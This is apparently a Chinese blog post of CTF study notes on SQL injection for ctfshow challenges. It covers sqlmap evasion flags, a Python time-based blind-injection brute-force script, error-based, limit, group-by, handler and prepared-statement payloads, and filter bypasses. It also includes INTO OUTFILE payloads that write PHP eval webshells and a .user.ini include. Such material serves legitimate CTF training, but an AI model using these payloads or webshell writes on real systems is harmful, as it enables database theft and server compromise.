ctfshowSQL注入

一、关于sqlmap的各种参数使用

sqlmap -u http://303329b7-8627-41d9-9e71-45a218a61c49.chall.ctf.show/api/index.php --method=PUT --data="id=1" 
--random-agent 
--referer=ctf.show 
--headers="Content-Type: text/plain" 
--cookie="PHPSESSID=60prkqe8189934t5pv3ikepa16" 
--safe-url=http://303329b7-8627-41d9-9e71-45a218a61c49.chall.ctf.show/api/getToken.php 
--safe-freq=1 
--tamper=my
--proxy=http://127.0.0.1:8080

参数讲解:

--method:GET、POST、PUT、DELETE等。这里推荐使用Postwoman插件进行测试判断请求方式

--data:发送的数据

--random-agent:设置随机ua,因为sqlmap的ua容易被识别出来然后被ban。这里也可以指定,--user-agent=

--referer:Referer会告诉服务器我是从哪个页面链接过来的

--headers:这里一定要加上–headers=“Content-Type: text/plain” ,否则是按表单提交的,put接收不到

--safe-url:这里表示在测试我们的目标url之前先访问的网站,一半用于先获取token

--safe-freq:表示先访问我们的网站的次数

--tamper:表示我们要使用的脚本my.py,例如有空格被过滤了的替换等

--file-read:要读取的文件内容(注意最后sqlmap的提示文件读取以后的保存路径)

--proxy:表示将sqlmap的流量转发到,这里我转发到了8080的burpsuite来分析sqlmap测试payload有无错误

--flush-session:清理缓存

二、编写自己的tamper脚本

三、编写脚本进行盲注

import time
import requests
url = ''
flagstr = '}c{abfdeghijk_l,m0123456789nopqistuvwxyz-'
flag = ''
for i in range(1,55)://flag的长度大小
  for mid in flagstr://flag的具体值
    #爆破数据库表名称
    #payload = " or if((ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),{},1)))={},sleep(2),1)#".format(i,ord(mid))
    #爆破数据库列名称
    #payload = "1) or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flagxcc'),{},1))={}),sleep(2),1)#".format(i,ord(mid))
    #爆破数据库具体字段
    payload = "1) or if((substr((select flagaabc from ctfshow_flagxccb limit 1),{},1)='{}'),sleep(2),1)#".format(i,mid)
    data = {
    '':payload,
    }
    try:
      res = requests.post(url=url,data=data,timeout=2)
    except:
      time.sleep(0.3)
      flag += mid
      print(flag)
      break
注:
(1)在sleep被过滤后还可以使用BENCHMARK(count,expr);例如:BENCHMARK(1000000,sha(1))来测试返回的时间。benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
(2)笛卡尔积
(3)rlike
四、其他注入(注意里面说的几个小技巧)

1.Limit注入(此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入)

limit 后面可以跟上

procedure analyse(extractvalue(1,concat(0x3e,database())),1);

2.group by 注入

(1)后面直接跟if盲注 -----group by if(1,sleep(1),1)

(2)报错注入 

select count(*) from users group by concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2));

3.handle的用法注入

handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

4.预处理注入绕过

也就是prepareexecute的使用,下面举个例子:

(1)

SET @a=concat(char(115,101,108,101,99,116),'* from users');//char(115,101,108,101,99,116)等价于select的拼接
PREPARE m from @a;
execute m;

(2)

prepare m from concat('s','elect',' database()');execute m;

(3)

prepare m from 0x73656c6563742064617461626173652829;execute m;    //0x73656c6563742064617461626173652829==select database()十六进制

5.找不到flag的时候题目考查mysql的存储过程:

select * from information_schema.routines;

6.update注入

---------待完善。

几个小技巧:

(1)过滤了单引号有时候可以利用 \ 来逃逸

(2)当information_schema.tables被过滤后可以利用mysql.innodb_table_stats 来查找表名,在此基础上,通过select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a //此时我们的1,b,3会被当作列名 或者 SELECT `2` from (SELECT 1,2,3 UNION SELECT * FROM users)a //一样,没过滤数字的情况下

7.insert注入

---------待完善。

几个小技巧:

(1)合理利用括号可以绕过过滤空格。例如:

SELECT * FROM(users)WHERE(username='xxx')

8.delete注入

---------待完善。

9.file注入

(1)写马

LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

----into outfile 'X' LINES STARTING BY '<?php eval($_POST[1]);?>'

LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

(2)先上传配置文件

# 上传配置文件

----into outfile '.user.ini' lines starting by 'auto_prepend_file=1.txt\n'

 

# 上传包含文件写入shell

----into outfile '1.txt' lines starting by '<?= eval($_POST[m])?>'

10.报错注入

(1)extractvalue(1, CONCAT(0x7e,(select database()),0x7e))

(2)updatexml(1,concat(0x7e,(select @@version),0x7e),1)

(3)union select 1,count(*) from users group by concat(0x7e,(select database()),floor(rand(0)*2),0x7e) //floor类型,floor函数也可以换成其他去整函数,例如round以及ceil。

 

posted @ 2022-09-14 17:53  hithub  阅读(391)  评论(0)    收藏  举报